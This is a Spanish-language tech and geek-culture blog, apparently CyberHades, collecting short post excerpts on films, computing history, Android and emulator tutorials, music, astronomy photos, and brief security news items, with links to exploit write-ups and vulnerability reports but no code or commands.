Por eso estudiar las soluciones a estos retos son un gran recurso para aprender todas estas facetas de la Informática.

Estos son algunos retos y sus soluciones, a medida que encuentre más los iré publicando:

La nueva película del director de "Moon", "Source …

 

Duncan Jones nos apasionó con la fantástica Moon, por eso estamos esperando ansiosos su nueva película. El nombre es "Source Code", y poco sabemos sobre la trama, pero el título hace que todos nos pongamos nerviosos, aunque parece que está relacionada con el terrorismo.

Ya veremos, tendremos paciencia, parece que se estrenará en Marzo del 2011.

Visto en blastr.

Ekranoplano: fotos del interior, por fin.

La gente de microsiervos, ante el eco popular por visualizar más fotos de esta antigua belleza asesina, ha puesto un enlace a una página que tiene varias decenas de estas fotografías: Ekranoplan - The Inside View. Ya hablamos de este engendro de la guerra fría en un post anterior pero notamos la falta de fotografías de su interior. Un vehículo que podía hacer miles de kilómetros sin repostar tenía, necesariamente, una serie de habitáculos pensados para la vida de la tripulación a bordo. Con estas fotos nos podemos hacer una idea de como era el día a día de estas personas.

30 Webs con modelos 3D gratis

Desde una lanzadera espacial a una piruleta, aquí podréis encontrar, nada más y nada menos, que 30 sites en los que hallar aquel objeto que tenéis pensado poner en vuestra web, animación o infografía 3D. En un par de clicks (literalmente, porque la mayoría NO os pedirán que os registréis) y ordenados por categorías... se puede pedir más?

Formatos: max, 3ds, dxf, obj, fbx, lwo, oth, xsi...

"Jugando" con QuickTime en Windows, por el blog …

Apple también tiene problemas de seguridad en todas sus plataformas y para estar al día sobre estos problemas y amenazas de seguridad, tienes que visitar el fantástico blog SeguridadApple, donde podrás ver desde noticias hasta ejemplos prácticos como este que comentamos aquí. Pero este artículo que vamos a comentar afecta al programa QuickTime de Apple en todas las versiones de Windows.

El post se llama “Explotando con Metasploit el 0-day en QuickTime publicado por Reversemode” y en él tendrás una buena ocasión para ver una clase práctica de cómo utilizar un exploit 0-day (detectado por Reversemode) usando metaesploit.

35 trucos para el día a día que deberías conocer

(click sobre la imágen para ver el mural con todos los trucos)

Realmente te van a sorprender estos 35 trucos de la vida cotidiana. Desde cómo pelar correctamente un plátano ó cómo enfriar una bebida en tres minutos, hasta trucos para evitar la caida del pelo ...

Artículo completo en TheFireWire.

Este domingo por la mañana toca un dios de la …

 

Aún se me ponen los pelos de punta cuando escucho esta canción, que tiene ya más de treinta años (salió en 1979, tema principal del disco Unknown Pleasures). Recuerdo perfectamente cuando mi gran amigo y mentor musical Jose María Villalobos me recomendó comprarme una caja con la recopilación de los mejores discos de la banda Joy Division.

Cambió totalmente mi percepción de la música.

Quizás sean las letras más duras y tristes que haya oido, de hecho esta misma llamada “Disorder” es un canto a gritos de una profecía sobre el fatídico destino de Ian Curtis:

Dushare, sencilla herramienta P2P vía web para …

Buena herramienta para transferir ficheros a quien quieras de una manera sencilla, ideal para casos urgentes y no tienes a mano un FTP. Si es demasiado grande para el email o si está detrás de un cortafuegos, esta puede ser la solución ya que la transferencia se hace vía navegador. La velocidad de transferencia será tan rápida como la que tengas contratada con tu proveedor de Internet.

MicroHistorias: ¿Es esta cinta la primera …

Este podría ser el primer símbolo de la relación amor/odio entre estos dos grandes gigantes de la Industria Informática.

La “cassette” se encontró en una caja de cintas de Apple II y parece ser una muy temprana versión de BASIC (AppleSoft Basic)  para el Apple II creado por Microsoft.

Lo que hace especial a esta cinta es la etiqueta que dice “APPLESOFT BASIC” con un sello superpuesto de tinta sobre otra etiqueta que dice “(C) MICROSOFT (tm) 1977, ALBURQUERQUE NEW MEXICO”. Ese año (1977) fue cuando salió al mercado la primera versión del AppleBasic. Por la fecha, podría incluso haber sido creada por el mismísimo Gates o por Allen.

Hello Kitty, personajes de la Cultura Pop y SciFi

Ahora seguro que te comprarías uno ¿verdad?. Estos diseños han sido creados por Joseph Senior, mezclando Hello Kitty con iconos de la Cultura Pop y la Ciencia Ficción.

Geniales.

Puedes ver los diseños aquí, más aquí y también aquí.

Visto en Robotsumi.

Lo último en teclados

Si no te gusta tu teclado o eres de los que echas de menos el teclado de la máquina de escribir, ya no tienes problemas. En la gran web de instructables te explican paso a paso como crear un teclado USB usando una máquina de escribir.

Visto en Hackaday.

Fotos de tableros de instrumentos

(Panel de la Lanzadera Atlantis) 

Desde el Transbordador Espacial, pasando por coches de época, hasta los instrumentos del Hindenburg, aparecen en esta colección de fotos de paneles y tableros de instrumentos.

Visto en Dark Roasted Blend.

Réplica casera 1:10 de un Cray-1A

Chris Fenton nos cuenta en su el blog el proceso que siguió para hacer una réplica 1:10 de un Cray-1A. En dicha entrada también podemos ver algunas fotos del proceso de la creación del mismo.

Para emular el hardware, usó una Xilinx Spartan-3E 1600, según la FPGA más grande que encontró a un precio razonable. Actualmente su réplica corre a 33MHz y dispone de 4096 palabras de RAM. El sistema todavía está incompleto. Algunas de las funciones que le faltan son:

Tetis frente a Titán

 

Impresionante foto de Tetis y Titán, tomada por la sonda Cassini.

Tres formas de proteger tu ordenador ante un …

(Imágen: http://www.techlatina.com)

Windows

Ya puedes tener firewalls, proxy, antivirus, contraseñas seguras etc … si alguien tiene acceso físico a tus ordenadores (vamos, que alguien se pueda sentar delante de él), tienes un problema de seguridad.

En el artículo original, lo titulan “3 ways how to prevent cleaning lady hacks”, haciendo alusión a cualquiera que pueda acceder físicamente (incluido la persona que limpie la oficina) a uno de tus ordenadores. Por ejemplo. usando la “herramienta de seguridad” Kon-Boot, puedes entrar en cualquier máquina Windows y modificarla en unos segundos para crear una cuenta de usuario con privilegios de administrador.

Número de Septiembre de la Hakin9: Mobile Malware …

Aquí os dejo el índice del contenido:

• Mobile Malware – the new cyber threat
• Botnet: The Six Laws And Immerging Command & Control Vectors
• Hacking Trust Relationships – Part 2
• Web Malware – Part 2
• Defeating Layer-2 – A ttacks in VoIP
• Armoring Malware: Hiding Data within Data
• Is Anti-virus Dead? The answer is YES. Here’s why…

La podéis descargar desde aquí.

Pantalla curva de 43 pulgadas, Ostendo CVRD

 

Espectacular pantalla de 42" panorámica y además curva. Con ella ya puedes olvidarte de configurar varios monitores.

Lo malo el precio, 6.500 dólares.

Web del producto aquí.

Visto en The Awesomer.

Telecinco emite ocho segundos de un documental ... …

Esto ya está "meneado" pero hay que publicarlo por todas partes, la historia lo merece. El día 29 de Agosto por la tarde a las 17:40, el "programa"/circo freak  o lo que sea eso llamado "Sálvame" (por cierto, nombre muy acertado para ese programa, a todos habría que salvarlos) , se interrumpió durante ocho segundos con el documental “Niels Bohr, papá cuántico”.

Lo mejor de todo, la cadena pide disculpas por la interrupción del programa y abrirá una investigación … Paolo Vasile ha dicho lo siguente en una rueda de prensa  “Ha sido un ataque en la línea de flotación del entretenimiento y no quedará impune” … lo siento pero tengo que reirme … :_ ))

Recursos y herramientas Android

En este enlace podéis encontrar una entrada muy completa con todo tipo de recursos y utilidades para usuarios y/o desarrolladores de la plataforma Android.

Desde libros que te puedes descargar de forma totalmente gratuita, enlaces a artículos sobre la  instalación del emulador en distintos sistemas, hasta información sobre el bootloader (sistema de arranque). Es una colección de enlaces muy completa que no te puedes perder.

Imágen de sonar del Titanic

Impresionante, siempre hemos visto imágenes de partes del Titanic, pero en esta podemos ver toda la estructura reposando a 4.000 metros de profundidad en las gélidas aguas del Atlántico Norte. La imágen ha sido tomada por una nueva expedición que se encuentra por la zona, y aunque no tiene mucha definición (por ser una imágen de sonar), es sobrecogedora.

Visto en BoingBoing.

Domingo por la mañana, The White Stripes, qué …

Qué decir de este GRUPAZO, auténticos hombre y mujer orquesta (suenan como si fueran ocho en vez de dos).

Verlos en directo es todo un espectáculo, echa un vistazo:

No podía dejar de publicar este video fantástico realizado por el genio Michael Gondry para la misma canción del directo de antes “Fell In Love With A Girl”:

Las mejores aplicaciones para Android, por …

Si lo dice LifeHacker, tendremos que echar un vistazo a esta lista. Además siempre viene bien alguna recomendación, ya que el Android Market es tan grande que te pierdes entre tantos programas. Estas aplicaciones son gratuitas o tienen un precio bastante bajo de compra. Ademas nos hablan de una aplicación llamada AppBrain App Market, alternativa al Market de Android para buscar aplicaciones.

La lista está dividida en varias secciones:

Productivity

Internet/Communication

Location-Aware

Utilities

Media

Photography

Backup and Security

Food, Shopping, and Entertainment

Photography

Echa un vistazo al artículo original, LifeHacker.

Guías rápidas de protección y prevención del …

 

Ya teníamos fichada esta entrada hace tiempo en nuestra web favorita de seguridad, SecurityByDefault y tenía pendiente ponerla en CyberHades ya que es extremadamente útil para mantener la seguridad en nuestras infraestructuras informáticas.

Son algunas guías rápidas de la web del proyecto OWASP:

• Cheat Sheet de Autenticación
• Cheat Sheet para prevención de ataques CSRF
• Cheat Sheet sobre almacenamiento criptográfico
• Cheat Sheet para prevención de inyecciones SQL
• Cheat Sheet de protección de la capa de transporte
•  Cheat Sheet para prevención de Cross-Site Scripting

Echa un vistazo al post original aquí donde se detalla cada guía.

PD: no te olvides de ver otras chuletas de SecurityByDefault aquí y las nuestras de CyberHades en este enlace.

Como se lo monta el Mario...

Visto en puntogeek

MicroHistorias: ¿Qué tiene que ver un mando a …

Pues más de lo que piensas.

Os voy a contar otra historia de Apple y del amigo Woz.

Esta vez voy a hablar del motivo que llevó a Woz dejar Apple definitivamente.

Después del descanso de Apple que Woz hizo durante el cual organizó  y patrocinó uno de los festivales de música más grandes de todos los tiempos (US Festivals) y además se graduó la Universidad de Berkley (ya mayorcito), nuestro héroe volvió a la compañía de la manzana que él mismo había creado. Estaba deseando volver a trabajar en un gran proyecto, y ese proyecto se llamaba Apple II.

Nueva sección CyberHades: MicroHistorias, pequeñas …

Veo que a muchos os gustan todas esas historias, a poder ser, curiosas, de esos genios de la Informática.

Por eso nos hemos decidido a crear una sección llamada “MicroHistorias”, donde contaremos aquellas anécdotas, curiosidades, hechos relevantes, etc … de la loca historia de la Informática.

El primero ya lo publicamos:

MicroHistorias: El primer mal rollo entre Woz y Jobs/Apple

Y el segundo lo tendrás mañana, seguro que te gustará. También es de Apple, pero os prometo que cambiaremos a otros personajes y/o empresas.

La Wish List de CyberHades en Amazon UK

 

Queremos compartir con vosotros nuestra selección de libros y otro material geek de Amazon.UK. Últimamente tiene mejores precios que la edición USA. menos gastos de envío, tiene prácticamente todo el material y además llega antes. Eso sí, siempre que seas un lector de CyberHades dentro de Europa.

Algunos elementos ya los hemos comprado y otros caerán tarde o temprano ;). Después de ver otras wish lists, la verdad que siempre está bien tener alguna referencia a la hora de comprar algún libro. Si os decidis por alguno y queréis alguna referencia, no dudéis en poneros en contacto con nosotros.

Halo Reach, otro motivo para comprarte una Xbox

Pronto disponible, en Septiembre.

Halo Reach.

Emulador de Game Boy escrito en Javascript: …

En esta cuarta entrega de este magnífico tutorial, nos encontramos con el manejo de gráficos: paleta, fondo de pantalla, renderizado, etc.

Aquí os dejo las tres primeras entradas:

La CPU La Memoria La GPU

Un repaso a la historia de la Informática...

 

En Z80 RetroHard he visto un enlace a este resúmen de la historia de la Informática ("Ceros y Unos") creado por Daniel Rodríguez Herrera de Libertad Digital.

Es muy completo y cuenta algunas anécdotas interesantes, fíjate en el índice:

1. De los autómatas jugones a la primera computadora como Dios manda
2. Los orígenes censores de IBM
3. Wikipedia: del porno al conocimiento
4. Con el Altair 8080 llegó el escándalo: Bill Gates
5. Univac y la victoria de Eisenhower
6. Xerox, el fracaso que copiaron Apple y Microsoft
7. Steve Jobs: cría cuervos, que te sacarán de Apple
8. Nintendo y el empleado novato que inventó a Mario
9. La máquina favorita de Mark Twain
10. Ethernet, la reina de las redes tontas
11. Google, el buscador que nació en William Gates
12. ¿Robaron el ABC de los ordenadores?
13. El paranoico que llevó el silicio a Silicon Valley
14. Sabre, el programa que lleva 50 años funcionando
15. Fortran, o ¡vivan los vagos!
16. Tetris: de negocios con la KGB
17. Comecocos, el primer juego pensado para chicas
18. Amazon y el "marco de minimización del arrepentimiento"
19. Harvard Mark I, el sueño de Babbage hecho realidad
20. El éxito tiene muchos padres, y los videojuegos tienen mucho éxito
21. La guerra de las calculadoras
22. Digital y los minicomputadores
23. El chip
24. Zuse, el pionero que tuvo la desgracia de ser alemán
25. Los inventores de los ceros y unos
26. El fruto del matrimonio de IBM y Microsoft: el PC
27. Arpanet y los paquetes que la hicieron posible

Libro gratuito "Graphic Adventures"

 

Leyendo la fantástica revista Marca Player, en la sección Mondo Pixel he visto una entrada que hacía referencia a este libro que tienes que descargarte YA si eres un aficionado a los videojuegos clásicos de aventuras gráficas.

El libro nos muestra la historia de juegos de LucasFilm, Sierra y otros con articulos seleccionados y ordenados desde la WikiPedia. Encontrarás la historia detrás de juegos míticos como Loom, Space Quest, The Secret of Monkey Island, etc. así como entrevistas a los programadores que crearon estas maravillas.

Microsoft Security Essentials, calificado como uno …

 

Ya lo comentamos hace tiempo en CyberHades, nos gustaba este antivirus y ahora nos han dado la razón al obtener la calificación más alta en AV Comparatives. Ha llegado a superar a Avira y a AVG, pero además está al mismo nivel que otros de pago como el Norton, Karspesky, BitDefender, F-Secure y eScan.

Aquí tienes el PDF con los resultados.

Puedes descargar el antivirus desde aquí.

Linux Shell con diccionario de comandos

En lifehacker publicaron una entrada sobre un terminal que incluye un diccionario con los comandos disponibles así como una descripción de la función de cada uno. También parece que puedes añadir tus propios comandos personalizados a dicha lista/diccionario.

Esto sin duda es muy útil para los usuarios novatos y los que como yo tienen muy mala memoria :-(

El nombre del proyecto es CLIcompanion. Proveen de un paquete .deb, con lo cual puedes instalarlo en cualquier distribución basada en Debian. Aunque siempre puedes bajarte el código fuente y compilarlo en tu distribución favorita.

Parece que El Geek Errante, vuelve ... otra vez

(Nueva cabecera de la Web de El Geek Errante) 

Y esperamos que sea definitivamente (el último número, el 42, salió en diciembre de 2009), el que es sin duda el mejor podcast de informática en castellano, parece que está a punto de sacar su número 43 (al menos eso indican en un tweet).

También han abierto un foro:

http://foro.elgeekerrante.com

Desde CyberHades esperamos con impaciencia el nuevo EGE #43.

Un vistazo time-lapse a las Perseidas

Joshua Tree Under the Milky Way from Henry Jun Wah Lee on Vimeo.

Si no pudiste ver la lluvia de las Perseidas hace unas semanas, no te pierdas este espectacular video en time-lapse capturado con una cámara Canon 5D Mk II.

Junto a la música de Sigur Rós y pulsando en HD, lo disfrutarás seguro.

Visto en GeeksAreSexy.

Dalvik VM: Introducción

Open Handset Alliance (OHA) es una alianza global constituada para crear una plataforma de código abierto para terminales móviles. Entre otras, esta alianza la forman Google, Nokia, Samsung, Sony Ericsson, etc.

Android, es el nombre de esa plataforma creada por dicha alianza. Android es un stack completo para correr en no sólo smart phones o teléfonos inteligentes, sino en todo tipo de dispositivos con sistemas embedidos, como televisiones, lectores de libros electrónicos, etc.

¿De donde vienen los Wookies?

 

Visto en The Awesome, link original aquí.

Mogwai Fear Satan + Fuck Buttons ... qué Domingo …

Como decía un buen amigo mio, cuando mezclas cosas buenas, el resultado siempre es bueno … espectacular versión de Fuck Buttons del mítico Mogwai Fear Satan.

Modchip para PS3 vía USB, parece que esta vez sí …

 

Parece que al final, la PS3 ha caido. En el video puedes ver cómo funciona ese modchip, y parece que lo hace muy bien ya que  psx-scene.com ha confirmado que funciona. Se llama PS Jailbreak y se puede usar para volcar (y luego ejectura) juegos de Ps3 al disco duro usando la firmware actual 3.41.

Incluso ya está a la venta, cuesta 147$ si se entregarán a partir del 27 de Agosto.

emPolygonizer2, metaballs al extremo

emPolygonizer2 Official Release Video “go ahead, mesh my day!" from Eric Mootz on Vimeo.

 emPolygonizer2 es un plugin para Autodesk Softimage para usar metaballs realmente espectacular, echa un vistazo al video.

Visto en TheAwesomer.

BitDefender LiveCD

Cuando un equipo es infectado por un virus y dicho equipo no tiene un antivirus instalado, yo diría que ya es tarde para instalarlo. Y es que muchos virus lo primero que hacen o intentan hacer es neutralizar cualquier software que sea una amenaza para si mismo. Por lo tanto la instalación a posteriori puede que el antivirus no funcione como es debido.

A mi siempre me gustó tener un antivirus y escanear de vez en cuando el sistema como medida de prevención, pero si se me infectaba un sistema, mi método preferido era el escanear dicho disco desde un sistema totalmente limpio y he aquí donde las LiveCD tienen mucho que decir.

Fotografías del interior de los aviones (Nick …

En la página web del fotografo Nick Gleis podemos ver el interior de los aviones más lujosos del planeta. Los dueños de estos aparatos son jeques árabes, gobernantes africanos, …

Os recomiendo que le echéis un vistazo.

Empezarás a plantearte el espacio que tiene uno normalmente cuando vuela, jeje.

Los primeros seres vivos que regresaron a la …

 

Laika no tuvo esa suerte, pero otros dos perros sí (bueno eran perritas).

Fueron Belka (ardilla ó blanquita) y Strelka (flechita)  en el Sputnik 5 hace justo 50 años.

Pero para saber más sobre ellas no os perdáis el fantástico post de Daniel Marín (Eureka) donde nos explica toda su historia, es conmovedora.

Un adelanto, tuvieron prole y uno de esos cachorros incluso llego a vivir en la Casa Blanca.

La "Sci fi swiss army"

No se me ha ocurrido otro nombre ante semejante instrumento. La única que desconozco es la que esta a la izquierda de la pistola de Hellboy, si alguien me ayudara.

Más de uno daría toda su colección de cómics por una navaja así… y dominar el mundo, JUAS JUAS JUAS (risa de malo maloso) :-)

Visto en thedailywhat

Upuaut 2, el robot que descubrirá los secretos de …

Robot que alcanzó la primera puerta oculta de la Cámara de la Reina en la pirámide de Keops

Pasadizo en el que el robot quedaba atascado numerosas veces

Descubrimiento de la primera puerta secreta en 1992. Lo dibujos que se ven pertenecen al sello del constructor indicando la importancia de la puerta. Tardaron 10 años en poder taladrarla y apareció la segunda puerta (imagen inferior)

Revista gratuita PET: Python entre todos

 

Revista de la comunidad PyAr sobre el lenguaje Python.  Ya está disponible el número 1 de Agosto.

Gracias por el esfuerzo amigos.

Visto en Barrapunto.

Otra de Brett Domino ...

 

Ya lo sé, no es domingo (ojalá), pero quiero compartir con vosotros esta versión de Lady Gaga “Bad Romance” hecha por Brett Domino.

Más que por la canción en sí (que realmente me gusta más esta versión que la original), fijáos de nuevo en el despliegue de gadgets y lo fácil que parece hacer música para estos chicos.

Geniales.

Visto en GeeksAreSexy.

Así nos vemos a 183 millones de kilómetros

La Tierra (izq) y La Luna (der)

Impresionante fotografía tomada por la sonda Messenger. La imagen fue tomada el pasado 6 de mayo dentro de una campaña para detectar asteroides vulcanoides, los cuales deberían estar situados muy cerca del Sol.

Visto en eureka

Secadora para móviles

Sé, a ciencia cierta, que la co-existencia de niños y de móviles en una casa es completamente imposible. Un móvil sin la supervisión de su propietario termina en el váter sí o sí. Los niños parece que tienen la necesidad imperiosa de atraer la atención de la madre/padre deshaciendose del juguete preferido de este: el móvil nuevo. Fuera de bromas, JMC Risk Solutions se ha dado cuenta de este problema y ha puesto estas secadoras en las tiendas de telefonía móvil en Tokio. Es muy sencillo de utilizar, tan solo hay que meter el móvil 30 minutos y después pagar unos 12 € (sólo si se arregla).

Réplica de una Máquina de Turing

Según Turing en 1936, dijo o escribió un documento donde describía una máquina con un cinta infinitamente larga, desde la cual dicha máquina podía leer, escribir e incluso alterar símbolos, pero además fue más allá y dijo que con una seria de operaciones básicas, dicha máquina podía calcular cualquier operación que fuera computable.

En este vídeo que os dejo podéis ver una réplica de una Máquina de Turing. En el vídeo, su autor, nos explica el funcionamiento de la misma, pero si quieres saber más las distintas partes del hardware, puedes visitar este enlace, éste para saber más sobre el software y este último para ver distintos ejemplos (vídeos) de la máquina ejecutando algunos de los problemas clásicos de una Máquina de Turing.

2ª Convivencia de Diseñadores Gráficos en Granada

¡¡ Aupa Graná !!

Los datos:

Requisitos: Estar interesado en el diseño gráfico! ;-) Fecha: 4 de Septiembre de 2010 Hora: A partir de las 11 h. Lugar: El Balcón de las Nieves (La Zubia) Nº de Plazas: 40 (Aprox) Precio: 30€Incluye: Nos comeremos una Paella! (comida, postre y bebida) + piscina + sorpresas! Objetivo: Despedir el verano como dios manda, conocernos, reencontrarnos y compartir opiniones respecto al diseño que crece a nuestro alrededor.

Emulador de Game Boy escrito en Javascript: La GPU

En esta tercera parte de como crear un emulador de Game Boy en javascript, Imran Nazar, autor de los mismos, nos habla de como emular la GPU, unos de los componentes que marca la diferencia en cualquier vídeo consola, ya que es el procesador que maneja los gráficos.

Si no has leído los dos primeros artículos:

La CPU La Memoria

"De mayor quiero ser un cylon"

Muy tierno… pero si después es una Número Seis mejor que mejor… ;-)

Precio $ 17.95

Visto en neatorama

Bioshock Infinite, del océano al cielo

Si te gustó la saga de BioShock (es uno de mis juegos favoritos), estás de enhorabuena. Este nuevo BioShock Infinite ocurre en 1900 en la ciudad Columbia. Pero no es una ciudad cualquiera, está en el cielo sostenida por globos y otros aparatos voladores al mejor estilo Steampunk.

Para más información pulsa aquí.

Visto en io9.

Domingo, hoy Tokio Police Club "Wait Up", dos …

La primera, la versión que más me gusta, relájate, sube el volúmen y …

Tokyo Police Club "Wait Up" DOM Remix:

Versión original, Wait Up:

Android development 101, sexta parte …

 

Sexta parte del tutorial ofrecido por HackADay:

Android Development 101 – Part 6:Getting ready for Market!

MicroHistorias: El primer mal rollo entre Steve …

 

Este libro es una mina, me lo estoy pasando en grande leyendo iWoz. Atento a la historia, seguro que te gustará.

En 1974 Steve Wozniak empezó a trabajar en HP diseñando calculadoras (según palabras de Wozniak, el mejor trabajo que ha tenido) y Steve Jobs empezó a trabajar en Atari. Un día Steve Jobs llamó a Woziak y le comentó que su jefe, nada menos que Nolan Bushnell (fundador de Atari y creador del famoso Pong), quería hacer otro juego parecido al Pong, sólo que esta vez el la pelota iría derribando unos ladrillos y luego, al terminarse los ladrillos, rebotaría en el pared del otro extremo, seguro que te suena.

LadyJava

Para empezar el fin de semana con ritmo geek ;-)

Fuente original.

Llegando al extremo "freak" con la Pantalla …

 

Después de alucinar con el post publicado por mi querido amigo tuxotron, me he encontrado con algo que roza ya los límites del frikismo/geek absoluto.

Todos sabéis que el Pac-Man, al llegar al nivel 256, aparece lo que se llama la “Pantalla Partida  (Split Screen)”. Los programadores de Namco tenían la intención de hacer un juego sin final, por eso a partir del nivel 21 el juego es idéntico. Ya sólo es cuestión de repetir los patrones y ver quién es el que aguanta más sin perder la concentración. Si eres uno de esos cracks que es capaz de llegar desde el nivel 21 al 255, llegarás a ver la famosa Pantalla Partida.

29 años desde el primer IBM PC ...

 

Este mes de Agosto vamos a cambiar un poco nuestro logo añadiendo una imágen del primer IBM PC, el IBM 5150, que salió al mercado a mediados de Agosto en 1981.

Es un homenaje a la segunda máquina (la primera fue el Apple I)  que definitivamente, cambio nuestras vidas y la industria informática.

Más info:

Microsiervos

Wiki: IBM PC 5150

Android Development 101, quinta parte "DroidDraw & …

 

Y aquí está la quinta parte:

Android Development 101 – Part 5:DroidDraw & Information Tracker Completed

Duplicando discos de vinilo

En los tiempos que corren, ya casi ni nos preocupamos por copiar CDs o DVDs, sino que lo que sea nos lo bajamos, lo escuchamos o vemos y si nos gusta, vamos y lo compramos… ¿Verdad?

Algunos de ustedes puede que ni hayan visto y/o escuchado un disco de vinilo, pero antiguamente todo lo que podías hacer era grabar la música a una cinta de casete. Nunca se me había pasado por la cabeza el copiar un disco de vinilo a otro, hasta que vi esta entrada, donde explican paso a paso de como crear/copiar un disco de estos. Mirando las fotos, que a continuación os dejo aquí, parece un proceso fácil. Me pregunto si en la práctica también lo es.

The Pac-Man al detalle

Si eres aficionado a los vídeo juegos y además pasas los 30s, seguro que algún dinerito te habrás dejado en alguna máquina recreativa con el Pac-Man, de los mejores juegos de la época, por lo menos para mi gusto.

Para aquellos que quieran saber más del funcionamiento interno de este juego, tal como los movimientos de los fantasmas, el camino a seguir para terminar las pantallas y mucho más, puede visitar este enlace dónde proveen toda esa información.

Skyline, más cine de invasión extraterrestre

 

(Si lo quieres en HD, pulsa aquí, vía Apple)

La que ha liado Stephen Hawking desde que dijo aquello de "... Algunos extraterrestres evolucionados podrían haberse convertido en nómadas y tener intención de colonizar los planetas a los que llegaran...", aconsejando que mejor nos estamos quietos, no es necesario buscar vida fuera de la Tierra.

Primera consecuencia, “Skyline”, que se estrenará el 12 de Noviembre de este año y está protagonizada por actores no muy conocidos de la escena indie. No sabemos mucho pero una cosa está clara, es una invasión extraterreste en toda regla.

Android Development 101, cuarta parte “Bases de …

 

Vamos con la cuarta parte de este fantástico tutorial:

Android Development 101- Part 4:Advanced Database/GUI Code and DDMS

Steven Haberland: la música nos hace

¿Quién dice que no se escucha música al ver una fotografía? Existen muy pocos fotógrafos que pueden transmitir la vocación del fotografiado. Uno de ellos es, sin duda, Steven Haberland en su nueva galería Music in my eyes. Una  iluminación perfecta, todo un modelo del que aprender.

6 libros esenciales sobre la vida y obra de geeks, …

 

Estos son los libros con algunos comentarios, ideales para pasar tardes de este verano leyéndolos debajo de un árbol o en la playa:

iWoz: autobiografía de Steve Wozniak, perfecta para saber de primera mano cómo construyó el Apple I con los recursos de la época, así como reirte un rato con las anécdotas del genio Woz (y algunas de Jobs) y los primeros años de la fundación de Apple. Tengo especial cariño a este libro ya que lo tengo firmado por el mismísimo Steve. Por cierto, está escrita por él, por lo tanto es totalmente verídica.

Emulador de Game Boy escrito en Javascript: La …

Ya podemos leer el segundo post sobre la emulación de una Game Boy en javascript. En esta ocasión trata sobre el funcionamiento de la memoria.

Ya hablamos del primer post aquí el cual hablaba sobre la CPU.

Ovejas 1, Hobbits 0

Un autentico fan de El Señor de los Anillos se rasgaría las vestiduras al ver semejantes imágenes pero parece que en Matamata (Nueva Zelanda) no se toman muy en serio esas cosas. Una vez terminado el rodaje todo volvió a la normalidad y los hobbits se marcharon para siempre... :-)

Kit prepago Vodafone Internet o el Timo de la …

 

Acojonante, estoy realmente enfadado con Vodafone. Compramos el jueves pasado (online, desde la web) un kit en oferta Modem USB por 49€ el cual incluía bono regalo valorado en 49€ (prepago para Internet) para un familiar que sólo necesita Internet puntualmente.

Vale, portátil con Windows XP, instalamos el programa de Vodafone, inserto el USB y toma, la primera en la frente, el famoso error:

RAS 635

Videos de Auroras Boreales, Tormenta Solar del día …

Ya pusimos la noticias en CyberHades, y ahora aquí están algunos videos de Auroras Boreales consecuencia de la citada tormenta solar:

Visto en UniverseToday.

Último trailer de Mafia II: tecnología detrás del …

Impresionante física: todo lo que es susceptible de romperse se romperá.

Visto en joystiq

Anatomía del troll de los foros

Dícese de la especie hostil que suele habitar por ciertas comunidades de Internet, buscando atención, alabanzas y veneración hacia su persona...

Visto en emezeta

Sci-Fdi, revista gratuita de Ciencia Ficción en …

 

Creada en la Facultad de Informática de Madrid (UCM), ya publicaron su primer número en Diciembre de 2009. Ahora se han animado a sacar su segundo número.

No te la pierdas, visita su web oficial.

Visto en Barrapunto.

Esta mañana de domingo, Baths "Hall"

Baths “Hall”

Baths “Maximalist”

Web del grupo en MySpace.

The Next Hope

La octava conferencia Hackers on Planet Earth (Hackers en el Planeta Tierra), llamada The Next Hope, tuvo lugar el pasado mes de Julio en Nueva York, los días 16, 17 y 18. Esta conferencia la organiza el grupo 2600. En este enlace podéis encontrar todas las charlas que se dieron en la misma.

Actividad del desarrollo de los 25 años del Sitema …

Si quieres ver el vídeo con mejor resolución, puedes visitar el enlace original.

Coming Summer 2010

Aquí os dejo el trailer del documental sobre Arduino que se supone que saldrá en algún momento de este verano.

TRAILER Arduino: The Documentary (available on HD) from gnd on Vimeo.

Fuente oficial.

Halo para el Atari 2600

 

Ed Fries que trabaja para Microsoft, ha creado esta versión para Atari 2600 del juego Halo (con dos cojon*s). En este post explica detalladamente todos los problemas que ha tenido para poder implementar esta versión del juego Halo para la limitada plataforma del Atari 2600 para que al menos se parezca un poco al original.

Puedes echar una partidita aquí.

Genial.

Visto en OffWorld.

Implementar Microsoft Exchange en servidores Linux

 

Exchange es una de las estrellas del software de la familia Server de Microsoft, aunque no es fácil de configurar al principio, luego se convierte una herramienta de correo/entorno colaborativo (no sólo correo, también calendario, taréas, sincronización, etc..)  muy completa, escalable y funcional que no tiene competencia a día de hoy en entornos Windows (Microsoft Outlook). Por supuesto, sólo puedes instalarlos en servidores Windows, aunque existen varias alternativas Linux para hacer algo parecido.

Como no todo lo que hace Microsoft es malo y funciona mal, el mundo Linux ha implementado las funciones de Exchange adaptándolas a su entorno. La ventaja, por supuesto es el precio, aunque no creas que estas versiones Linux son grátis, ya que el código fuente es Open Source pero partes del programa son Licencias Propietarias. Estas versiones Linux de Exchange pueden instalarse en un servidor/es Linux y dar servicio a entornos mixtos de clientes, tanto Windows (con Outlook) y Linux.

La mesa de mezclas definitiva

Se llama “Emulator” y es multitáctil, creado por Pablo Martín para tabletPC.

Espectacular.

Visto en TheAwesomer.

BackTrack 4 R1 – Public Release

Ya está disponible para su descarga la última versión de la que posiblemente es la distribución más completa orientada a la seguridad.

Puedes bajarte la ISO o una imagen para VMWare.

eDNI en Ubuntu 10.04 (Lucid Lynx)

Bueno los pasos para instalar el DNI electrónico  en tu Ubuntu 10.04 son sencillos, pero tiene un par de cositas que tenemos que tener en cuenta.

Lo primero que tenemos que hacer es descargarnos los paquetes necesarios desde este enlace. Asegúrate  de escoger la arquitectura correcta.

Como podréis ver, el fichero más reciente que existe es para Jaunty. Yo me bajé ese. Bueno una vez bajado dicho archivo, lo descomprimimos y dentro tenemos 3 paquetes .deb.

La documentación de la Black Hat 2010

 

A través de la web de  Chema, he visto que la web Dragonjar ha publicado toda la documentación de la Black Hat 2010.

Ya tenéis (tenemos) trabajo para el fin de semana ;)

Gracias a DragonJar por la recopilación de esta valiosa información.

Cross-site scripting (XSS) y la Agencia Tributaria …

 

El gran Rubén Santamarta ya lleva tiempo avisando de este fallo (incluso él mismo avisó a la Agencia Tributaria, sin que le hicieran mucho caso) allí por donde va con sus charlas magistrales sobre seguridad informática e ingeniería inversa (temas que domina a la perfección). Tuvimos la suerte de verlo dos veces este verano, en la Campus Party y en el Curso de Verano de Seguridad Informática en Valencia, y ambas lo comentó (sin dar detalles).

Pues al final ha publicado en el blog 48bits toda la información sobre este fallo XSS, a ver si ahora nuestra Agencia Tributaria toma algunas medidas de seguridad.

Espectacular Tormenta Solar y sus efectos en la …

 

